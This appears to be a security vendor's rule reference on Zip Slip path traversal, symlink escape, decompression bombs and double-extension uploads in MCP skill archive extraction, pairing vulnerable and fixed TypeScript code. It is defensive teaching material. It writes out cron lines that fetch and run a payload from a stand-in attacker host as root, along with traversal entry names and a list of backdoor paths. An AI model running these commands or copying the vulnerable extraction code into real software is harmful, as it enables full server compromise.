Path Traversal via Zip Slip in MCP Skill File Extraction
When an MCP skill extracts a ZIP or TAR archive, the archive entries carry filenames — and those filenames can contain ../ path traversal sequences that resolve outside the intended output directory. The Zip Slip attack class exploits this: a specially crafted archive causes the extraction library to write files at attacker-chosen paths on the server filesystem, potentially overwriting /etc/cron.d/ entries, SSH authorized keys, application configuration files, or executable binaries. The impact is arbitrary file write, which translates directly to remote code execution on any server with writable cron directories or writable application code paths. CVSS 9.8 is the ceiling. The archives look like normal uploads until the extraction library processes the entry name.
Archive extraction is one of the most common file processing operations in MCP skill codebases. Skills that handle project uploads, process plugin bundles, unpack dataset archives, or accept template packages will typically reach for unzipper, adm-zip, node-tar, or the native ZipFile / tarfile modules in their respective languages. These libraries do exactly what they advertise: they extract entries to disk using the filename stored inside the archive. What they do not do — unless the developer explicitly adds the check — is validate that the extracted filename stays within the intended output directory.
The Zip Slip vulnerability was first documented at scale by Snyk in 2018, affecting thousands of Java libraries. It has since been rediscovered repeatedly in every ecosystem that handles archive files. In the MCP skill context, the problem is particularly acute because skills are designed to accept user-uploaded content as a core part of their function — a code-review skill accepts ZIP archives of projects, a template engine accepts uploaded theme packages, an audit skill accepts npm tarballs. Each of these is a natural Zip Slip target that the developer may never have considered as an attack surface.
SkillAudit's SA-SKL-ZIPSLIP1 check covers four distinct patterns in this class. Each exploits a different extraction API or archive feature, and each has a mitigation that requires fewer than ten lines of code.
ZIPSLIP1-001: unzipper / adm-zip without path normalization
Node.js ZIP extraction libraries pass entry.path directly to the filesystem write call. An entry named ../../../../etc/cron.d/backdoor resolves outside the output directory and overwrites a cron job file with attacker-controlled content, achieving scheduled command execution.
ZIPSLIP1-002: tar extraction follows symlinks
A TAR archive entry creates a symlink pointing to /etc/passwd, then a subsequent entry writes through the symlink. The extraction library follows the symlink and overwrites the target file. Fix: skip symlink entries or validate resolved symlink targets before writing.
ZIPSLIP1-003: Decompression bomb (zip bomb) DoS
A 42-kilobyte ZIP file expands to 4.5 petabytes via nested compression layers, or a 10-layer nested archive with 10 entries each expanding to 1 GB exhausts disk or memory. Without a decompressed-size limit, extraction DoS-kills the host process or fills the volume.
ZIPSLIP1-004: Double-extension bypass into static serve directory
Archive entry named shell.php.zip is accepted as a ZIP archive but its extracted entry is named shell.php. If the output directory overlaps with a PHP-executing or static-served directory, the extracted file is reachable as a web shell. Fix: allowlist of safe extracted file extensions.
File write to code execution: On a Linux server, writing to /etc/cron.d/ with a cron job entry of the form * * * * * root curl https://attacker.com/shell | bash achieves remote code execution within 60 seconds of the file being written, with root privileges. Directories writable by the extraction process that enable RCE include: /etc/cron.d/, /etc/cron.hourly/, /home/ubuntu/.ssh/authorized_keys (SSH backdoor), application source directories (overwrite a loaded module), and /etc/sudoers.d/ (privilege escalation). In containerized deployments, overwriting application code files achieves code execution on the next request without waiting for cron.
Why Zip Slip still appears in modern codebases
The Zip Slip class is well-documented and has been known for over eight years. Yet it continues to appear in MCP skill codebases for several reasons. First, the fix requires explicitly adding a path validation check that is not part of the extraction library's default behavior — unlike SQL injection, where parameterized query APIs were added specifically to make the safe path the natural path, ZIP and TAR libraries universally default to trusting the archive's entry names. Second, the attack is not visible from code review unless the reviewer specifically knows to look for the missing check — the extraction code looks clean and functional. Third, MCP skills are often authored by developers who are expert in AI tooling but may not have web security backgrounds, and the archive extraction attack surface is less intuitive than input validation or authentication patterns.
The Zip Slip check requires understanding how path.resolve() and path.normalize() interact. A naive implementation might call entry.path.replace(/\.\./g, '') to strip traversal sequences — but this only removes the first occurrence of each .. component, and an entry path of ....//....//etc/passwd after one-pass stripping produces ../../etc/passwd. The correct implementation uses path.resolve(outDir, entry.path) and then asserts that the result starts with outDir + path.sep. The path.resolve() call normalizes all traversal sequences in a single step — the OS path resolution algorithm collapses them completely regardless of how many layers of double-dots appear in the entry name.
ZIPSLIP1-001 — unzipper / adm-zip without path sanitization
The most common variant. An MCP skill that processes uploaded ZIP archives — project bundles, theme packages, dataset exports — extracts entries using their stored filenames without checking that the resolved path stays within the designated output directory.
The exploit is mechanical: the attacker crafts a ZIP archive using any zip tool that allows setting arbitrary entry names. Python's zipfile module, the zip CLI with the -j flag omitted, or tools like evilarc can produce archives with entry names containing ../ sequences. The entry name ../../../../etc/cron.d/skillaudit-backdoor combined with entry content of a valid cron job line like * * * * * root curl https://c2.attacker.com/cmd | bash produces a cron entry that runs every minute as root. The extraction library writes the file to /etc/cron.d/skillaudit-backdoor because it resolves the entry path relative to the output directory and writes to whatever path results.
The unzipper library's Extract.promise() API does not sanitize entry.path. The adm-zip library's extractAllTo() method checks for absolute paths but does not check for ../ relative traversal. Neither library's default behavior is safe for untrusted archives.
// VULNERABLE — ZIPSLIP1-001 (CVSS 9.8)
// unzipper does not validate entry paths — traversal sequences escape output dir
import unzipper from 'unzipper';
import path from 'path';
import fs from 'fs';
const OUTPUT_DIR = '/tmp/extractions/';
export async function extractSkillBundle(zipBuffer: Buffer): Promise<void> {
const zip = await unzipper.Open.buffer(zipBuffer);
for (const entry of zip.files) {
// VULNERABLE: entry.path may be "../../../../etc/cron.d/backdoor"
// path.join does NOT normalize traversal — it concatenates literally
const outputPath = path.join(OUTPUT_DIR, entry.path);
// Developer assumed path.join would prevent traversal — it does not
// path.join('/tmp/extractions/', '../../../../etc/cron.d/backdoor')
// = '/etc/cron.d/backdoor' on POSIX systems
const content = await entry.buffer();
fs.writeFileSync(outputPath, content);
}
}
// FIXED — ZIPSLIP1-001
// path.resolve() normalizes all traversal sequences; assertion prevents escape
import unzipper from 'unzipper';
import path from 'path';
import fs from 'fs';
const OUTPUT_DIR = path.resolve('/tmp/extractions');
// Max 50 MB uncompressed to prevent decompression bombs
const MAX_UNCOMPRESSED_BYTES = 50 * 1024 * 1024;
// Max 500 entries per archive
const MAX_ENTRIES = 500;
export async function extractSkillBundle(zipBuffer: Buffer): Promise<void> {
const zip = await unzipper.Open.buffer(zipBuffer);
if (zip.files.length > MAX_ENTRIES) {
throw new Error(`Archive contains too many entries: ${zip.files.length}`);
}
let totalBytes = 0;
for (const entry of zip.files) {
// path.resolve() collapses all ../ sequences completely, regardless of nesting
// e.g. path.resolve('/tmp/extractions', '../../../../etc/cron.d/evil')
// = '/etc/cron.d/evil' — which does NOT start with OUTPUT_DIR
const outputPath = path.resolve(OUTPUT_DIR, entry.path);
// Assertion: resolved path must start with the output directory
// The trailing path.sep ensures we don't match /tmp/extractions-evil
if (!outputPath.startsWith(OUTPUT_DIR + path.sep) && outputPath !== OUTPUT_DIR) {
throw new Error(`Path traversal detected in archive entry: ${entry.path}`);
}
// Also validate the extracted file extension
const SAFE_EXTENSIONS = new Set(['.js', '.ts', '.json', '.md', '.txt', '.yaml', '.yml', '.html', '.css']);
const ext = path.extname(entry.path).toLowerCase();
if (ext && !SAFE_EXTENSIONS.has(ext)) {
throw new Error(`Disallowed file extension in archive: ${ext}`);
}
const content = await entry.buffer();
// Track cumulative uncompressed size
totalBytes += content.length;
if (totalBytes > MAX_UNCOMPRESSED_BYTES) {
throw new Error('Archive exceeds maximum uncompressed size limit');
}
// Create parent directories safely (they also stay within OUTPUT_DIR per above check)
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
fs.writeFileSync(outputPath, content, { mode: 0o644 });
}
}
The critical invariant is the assertion after path.resolve(): the resolved output path must begin with the canonicalized output directory followed by a path separator. The trailing path.sep is important — without it, an entry named ../extractions-evil/file would produce a resolved path of /tmp/extractions-evil/file, which does start with /tmp/extractions as a string prefix but is not inside the extractions directory. The separator check prevents this prefix-spoofing attack. The path.resolve() function is the correct tool here because it uses the same OS path normalization rules that the kernel will use when the file is actually written — there is no gap between the validation check and the write operation where a differently-normalized path could slip through.
ZIPSLIP1-002 — TAR extraction with symlink escape
TAR archives support multiple entry types: regular files, directories, symbolic links, hard links, and device files. The Zip Slip attack has a TAR-specific variant that uses symlinks: the attacker creates an archive containing two entries. The first entry is a symlink, with its name inside the output directory, that points to a target outside the output directory (for example, a symlink at output/link pointing to /etc/cron.d). The second entry is a regular file at the path output/link/backdoor. When the extraction library processes the second entry, it follows the symlink from the first entry and writes the file to /etc/cron.d/backdoor.
This two-stage attack evades path traversal checks that only look at entry names: the second entry's name (output/link/backdoor) does not contain any ../ sequences and passes a naive traversal check. The traversal happens at the filesystem level when the kernel follows the symlink stored by the first entry.
// VULNERABLE — ZIPSLIP1-002 (CVSS 9.8)
// node-tar extraction follows symlinks — two-entry attack achieves path escape
import tar from 'tar';
import path from 'path';
const OUTPUT_DIR = '/tmp/tar-output/';
export async function extractTarBundle(tarBuffer: Buffer): Promise<void> {
// tar.x() without a filter follows symlinks created during extraction
// Attack: archive entry 1 creates symlink: OUTPUT_DIR/link -> /etc/cron.d
// archive entry 2 writes file: OUTPUT_DIR/link/backdoor
// kernel follows the symlink; file lands in /etc/cron.d/backdoor
await tar.x({
cwd: OUTPUT_DIR,
// No filter or strip option — all entry types accepted as-is
}, [tarBuffer]);
}
// FIXED — ZIPSLIP1-002
// Filter rejects symlinks and validates all resolved paths before write
import tar from 'tar';
import path from 'path';
import fs from 'fs';
const OUTPUT_DIR = path.resolve('/tmp/tar-output');
export async function extractTarBundle(tarBuffer: Buffer): Promise<void> {
await tar.x({
cwd: OUTPUT_DIR,
// filter is called for every entry before it is written
filter: (entryPath: string, stat: tar.FileStat) => {
// Block symlinks and hard links entirely — they can escape the output dir
if (stat.type === 'SymbolicLink' || stat.type === 'Link') {
return false;
}
// Validate that the resolved path stays within OUTPUT_DIR
const resolved = path.resolve(OUTPUT_DIR, entryPath);
if (!resolved.startsWith(OUTPUT_DIR + path.sep) && resolved !== OUTPUT_DIR) {
return false;
}
// Block non-regular file types (block devices, character devices, fifos)
if (stat.type !== 'File' && stat.type !== 'Directory') {
return false;
}
return true;
},
}, [tarBuffer]);
// Post-extraction: verify no symlinks escaped into output directory
// (defence in depth — filter above should prevent this, but verify)
verifyNoEscapedSymlinks(OUTPUT_DIR);
}
function verifyNoEscapedSymlinks(dir: string): void {
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
const fullPath = path.join(dir, entry.name);
if (entry.isSymbolicLink()) {
const target = fs.realpathSync(fullPath);
if (!target.startsWith(dir + path.sep)) {
fs.unlinkSync(fullPath);
throw new Error(`Escaped symlink removed post-extraction: ${fullPath} -> ${target}`);
}
} else if (entry.isDirectory()) {
verifyNoEscapedSymlinks(fullPath);
}
}
}
The filter callback in node-tar is called before each entry is written to disk. Returning false causes the entry to be skipped entirely. Blocking symlinks is the most important check — regular file entries whose paths are validated against the output directory cannot escape via path traversal alone without symlink assistance. The post-extraction verification is defence in depth: if a race condition or a library bug caused a symlink to be written despite the filter returning false, the verifier catches it and removes it immediately after the extraction completes. This two-layer approach means a single point of failure in either layer cannot result in a filesystem escape.
ZIPSLIP1-003 — Decompression bomb DoS via nested or high-ratio archives
A decompression bomb exploits the compression ratio achievable by standard algorithms. The classic 42.zip is a 42-kilobyte file that expands to 4.5 petabytes through five layers of nested ZIP archives, each containing files filled with the zero byte (which compresses to near zero). A single-layer bomb is more practical: a ZIP file containing one entry of 1 GB of zero bytes compresses to approximately 1 MB. An attacker submitting 50 such archives in rapid succession can fill a disk volume or exhaust available RAM if the extraction library buffers the decompressed content before writing.
MCP skills that process user-submitted archives are natural targets for decompression bombs because the skill's purpose requires accepting large archives. A code-review skill, a documentation generator, or an npm package auditor all have legitimate reasons to accept multi-megabyte archives, making a size limit on the compressed input insufficient protection. The decompressed output size must be limited independently of the input size.
// VULNERABLE — ZIPSLIP1-003 (CVSS 7.5 — DoS)
// No limit on decompressed bytes — 1 MB compressed input expands to 1 GB in memory
import unzipper from 'unzipper';
export async function processArchive(zipBuffer: Buffer): Promise<string[]> {
// Compressed input size checked: OK (5 MB limit enforced by caller)
// Decompressed output size NOT checked — bomb expands to fill disk/memory
const zip = await unzipper.Open.buffer(zipBuffer);
const results: string[] = [];
for (const entry of zip.files) {
// entry.buffer() reads the entire decompressed file into memory
// A single entry of 2 GB zero bytes = 2 GB in process heap
const content = await entry.buffer();
results.push(analyzeContent(content.toString('utf8')));
}
return results;
}
function analyzeContent(text: string): string {
return text.substring(0, 1000); // first 1000 chars — still loads full content first
}
// FIXED — ZIPSLIP1-003
// Stream each entry with a byte counter; abort extraction if limit exceeded
import unzipper from 'unzipper';
import { Writable } from 'stream';
const MAX_ENTRY_BYTES = 10 * 1024 * 1024; // 10 MB per entry
const MAX_TOTAL_BYTES = 50 * 1024 * 1024; // 50 MB total uncompressed
const MAX_ENTRIES = 200;
export async function processArchive(zipBuffer: Buffer): Promise<string[]> {
const zip = await unzipper.Open.buffer(zipBuffer);
if (zip.files.length > MAX_ENTRIES) {
throw new Error(`Archive contains too many entries: ${zip.files.length} (max ${MAX_ENTRIES})`);
}
const results: string[] = [];
let totalBytes = 0;
for (const entry of zip.files) {
// Stream the entry and count bytes as they decompress
const chunks: Buffer[] = [];
let entryBytes = 0;
await new Promise<void>((resolve, reject) => {
const stream = entry.stream();
stream.on('data', (chunk: Buffer) => {
entryBytes += chunk.length;
totalBytes += chunk.length;
if (entryBytes > MAX_ENTRY_BYTES) {
stream.destroy(new Error(`Entry exceeds max size: ${entry.path}`));
return;
}
if (totalBytes > MAX_TOTAL_BYTES) {
stream.destroy(new Error('Archive total decompressed size limit exceeded'));
return;
}
chunks.push(chunk);
});
stream.on('end', resolve);
stream.on('error', reject);
});
const content = Buffer.concat(chunks);
// Process only the first 1000 characters — no need to hold full content
results.push(analyzeContent(content.subarray(0, 1024).toString('utf8')));
}
return results;
}
Streaming extraction with a byte counter is the correct approach because it limits memory consumption to one entry at a time and aborts decompression as soon as a limit is crossed. Buffering the entire entry with entry.buffer() before checking the size means the damage is already done — the decompressed content is in the process heap by the time the size check would run. The streaming approach catches the bomb during decompression, before memory or disk is consumed beyond the limit. The dual limit — per-entry and total — prevents an attack where the archive contains many small-but-not-trivially-detectable entries that individually stay under the per-entry limit but collectively exhaust disk when summed.
ZIPSLIP1-004 — Double-extension bypass into static-served or executed directory
Archive entries can have arbitrary filenames including multiple dots. If a skill accepts a ZIP archive nominally containing JavaScript or JSON files but the extraction output directory is also served by a web server or executed by an application runtime, an entry named shell.php.zip whose inner entry is shell.php bypasses a file-type check on the outer archive name but lands as an executable PHP file in the output directory.
More subtly: even when the extraction output directory is not directly web-served, extracted files may be loaded by the application dynamically. A skill that extracts a plugin bundle and then requires or imports files from the bundle directory is vulnerable to code execution via a crafted entry that overwrites a loaded module. This pattern has appeared in several npm package loaders and Webpack plugin systems where the extracted directory is added to the module resolution path.
// VULNERABLE — ZIPSLIP1-004 (CVSS 8.8)
// Archive accepted as ZIP; inner entry shell.php lands in web root
import unzipper from 'unzipper';
import path from 'path';
import fs from 'fs';
// Skill extracts user plugin bundles into a directory served by Express static middleware
const PLUGIN_DIR = '/srv/app/public/plugins/';
export async function installPlugin(zipBuffer: Buffer, pluginId: string): Promise<void> {
const zip = await unzipper.Open.buffer(zipBuffer);
const targetDir = path.join(PLUGIN_DIR, pluginId);
fs.mkdirSync(targetDir, { recursive: true });
for (const entry of zip.files) {
// Extension check on the ZIP archive filename, not on individual entries
// Entry 'shell.php' passes — developer only checked the outer .zip extension
const resolved = path.resolve(targetDir, entry.path);
if (!resolved.startsWith(targetDir)) continue; // path traversal check present
fs.writeFileSync(resolved, await entry.buffer());
}
// Express: app.use('/plugins', express.static('/srv/app/public/plugins/'))
// shell.php extracted to /srv/app/public/plugins/{id}/shell.php
// If PHP-FPM or CGI is configured: HTTP GET /plugins/{id}/shell.php executes it
}
// FIXED — ZIPSLIP1-004
// Allowlist of safe extracted extensions + UUID rename + no executable serve path
import unzipper from 'unzipper';
import path from 'path';
import fs from 'fs';
import { randomUUID } from 'crypto';
// Plugin data stored OUTSIDE the web root — not directly served by static middleware
const PLUGIN_DATA_DIR = '/srv/app/data/plugins/';
// Only these extensions are permitted in plugin bundles
const SAFE_EXTENSIONS = new Set([
'.js', '.mjs', '.cjs', // JavaScript modules
'.json', // Configuration
'.md', '.txt', // Documentation
'.css', // Styles (non-executed)
'.svg', '.png', '.jpg', // Assets (non-executed)
]);
export async function installPlugin(zipBuffer: Buffer, pluginId: string): Promise<void> {
// pluginId must be a UUID — prevents directory traversal via pluginId itself
if (!/^[0-9a-f-]{36}$/.test(pluginId)) {
throw new Error('Invalid plugin ID format');
}
const zip = await unzipper.Open.buffer(zipBuffer);
const targetDir = path.resolve(PLUGIN_DATA_DIR, pluginId);
fs.mkdirSync(targetDir, { recursive: true });
for (const entry of zip.files) {
if (entry.type === 'Directory') continue;
// 1. Path traversal check
const resolved = path.resolve(targetDir, entry.path);
if (!resolved.startsWith(targetDir + path.sep)) {
throw new Error(`Path traversal in entry: ${entry.path}`);
}
// 2. Extension allowlist check on the ENTRY path, not the ZIP filename
const ext = path.extname(entry.path).toLowerCase();
if (!SAFE_EXTENSIONS.has(ext)) {
throw new Error(`Disallowed extension in plugin bundle: ${ext} (${entry.path})`);
}
// 3. Write to data dir (not web root); files loaded via explicit import map
// not via dynamic filesystem path that could be guessed by an attacker
fs.mkdirSync(path.dirname(resolved), { recursive: true });
fs.writeFileSync(resolved, await entry.buffer(), { mode: 0o644 });
}
}
// Plugin modules are loaded via explicit allowlisted paths, not glob imports
// The plugin system registers specific entry-point files after validation
// No PHP, Perl, Python, Ruby, or other server-side script engine has access
// to the PLUGIN_DATA_DIR — it is outside Apache/Nginx document root
The key fix is enforcing the extension allowlist on individual archive entries rather than on the archive filename. An archive named plugin.zip is not evidence that every entry inside it is safe — the archive name is under attacker control just as much as the entry names are. Each extracted entry must be checked independently. The secondary defence is storing plugin data outside the web root or any directory accessible by a scripting engine — even if an attacker somehow bypasses the extension check, a PHP file in /srv/app/data/ that is not served by a web server and not imported by the application is inert.
| Pattern | Archive format | Vulnerable pattern | Severity | CVSS | Fix |
|---|---|---|---|---|---|
ZIPSLIP1-001 |
ZIP | path.join(outDir, entry.path) — traversal escapes |
Critical | 9.8 | path.resolve() + startsWith assertion |
ZIPSLIP1-002 |
TAR | Extraction follows symlinks to escape output dir | Critical | 9.8 | filter rejects SymbolicLink entries |
ZIPSLIP1-003 |
ZIP / TAR / GZ | No decompressed size limit — bomb fills disk/memory | High | 7.5 | Stream with per-entry and total byte counters |
ZIPSLIP1-004 |
ZIP | Entry extension not checked — shell.php extracted to web root |
High | 8.8 | Extension allowlist on entries + store outside web root |
path.join(outDir, entry.path) without traversal validation; ../../../../etc/cron.d/backdoor entry achieves arbitrary file writeshell.php entry bypasses check; extracted to static-served directory achieves web shell code executionDetection with SkillAudit
SA-SKL-ZIPSLIP1 is part of SkillAudit's file handling and injection rule family. The scanner uses AST-level taint analysis to trace data flow from archive entry metadata — the entry.path, entry.entryName, or header.name fields depending on the library — through to filesystem write call sites. For Node.js skills using unzipper or adm-zip, it identifies fs.writeFile(), fs.writeFileSync(), fs.createWriteStream(), and pipe() calls where the path argument is derived from an archive entry name without an intervening path.resolve() and startsWith assertion.
The scanner specifically detects the common false-fix of using path.normalize() instead of path.resolve(). path.normalize() collapses redundant separators and dot segments but does not anchor the result to a base directory — path.normalize('../../../../etc/passwd') returns ../../../../etc/passwd, unchanged from the input. Only path.resolve(outDir, entry.path) anchors the result to an absolute path that can then be compared against the allowed output directory prefix.
For Python skills using zipfile or tarfile, the scanner looks for ZipFile.extract(), ZipFile.extractall(), TarFile.extract(), and TarFile.extractall() calls where the path is derived from member names without a preceding os.path.realpath() check and assertion. The Python tarfile module in Python 3.12+ added a filter parameter specifically to address this class; SkillAudit flags skills using the unfiltered form of these calls on older Python versions.
For related upload vulnerabilities — SVG XXE, XLSX external entities, PDF action streams — see the SA-SKL-UPLOAD6 rule reference on SVG XXE and XML external entity attacks in file uploads. For multipart upload memory exhaustion and content-sniffing bypass, see SA-SKL-MULTIPART6.
Why arbitrary file write is as dangerous as RCE
Developers sometimes categorize arbitrary file write as a "High" rather than "Critical" severity because it appears less immediately impactful than a command injection that returns a shell prompt. This is a mistake. In the overwhelming majority of real server configurations, arbitrary file write to the right path is equivalent to immediate remote code execution. The right paths are more numerous than developers expect.
On Linux servers: /etc/cron.d/ (cron job execution every minute), /etc/cron.hourly/, /etc/profile.d/ (execution at next shell login), ~/.bashrc, ~/.ssh/authorized_keys (SSH key backdoor), /etc/sudoers.d/ (passwordless sudo escalation). In Node.js application directories: any .js or .mjs file in a path that is require()d or dynamically imported at runtime — overwriting a utility module achieves code execution on the next request. In Python applications: any .py or .pyc in sys.path. In containerized deployments without cron: overwriting any application code file achieves execution on the next request, often within milliseconds of the write.
The fix requires fewer than ten lines of code and no additional dependencies. path.resolve() is part of the Node.js standard library. The startsWith assertion is a single conditional. The streaming byte counter is a one-time implementation that can be shared across all extraction code paths in the skill. The cost of adding these checks is measured in minutes of development time; the cost of omitting them is measured in full system compromise.
Run SA-SKL-ZIPSLIP1 on your skill: Paste your MCP skill's GitHub URL at skillaudit.dev to get a full ZIPSLIP1 scan alongside all other SkillAudit file handling, injection, and SSRF checks. The free tier covers public repositories and returns a shareable security badge for your README before submitting to the Anthropic skills directory.